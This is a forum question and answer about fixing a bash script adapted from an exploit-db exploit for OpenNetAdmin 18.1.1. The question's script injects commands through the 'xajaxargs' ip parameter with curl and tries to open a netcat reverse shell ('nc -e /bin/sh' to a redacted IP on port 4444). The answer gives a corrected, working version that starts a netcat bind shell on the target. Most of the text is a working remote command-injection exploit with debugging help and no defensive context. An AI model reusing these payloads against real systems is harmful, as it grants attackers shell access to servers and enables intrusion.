Bash Syntax Problems for Exploit

Question

I found an exploit at exploit-db for the OpenNetAdmin 18.1.1

I have to adjust this script so it work for me but I don't get this done. This is what I have so far:

URL="xxx.xxx.xxx.xxx/ona"
while true;do
 echo -n {"nc -e /bin/sh xxx.xxx.xxx.xxx 4444 "}; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

The output is just:

{nc -e /bin/sh xxx.xxx.xxx.xxx 4444 }

I am a bit struggling with the syntax.

What did I do wrong?

Answer 1

This is what you want, if you just need to launch the nc program. The script supposes that the remote machine is a Linux machine, with /bin/bash and nc (netcat) compiled with the -e support

#!/bin/bash
URL="http://.../ona" 
cmd="nc -l -p 4444 -e /bin/sh"
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1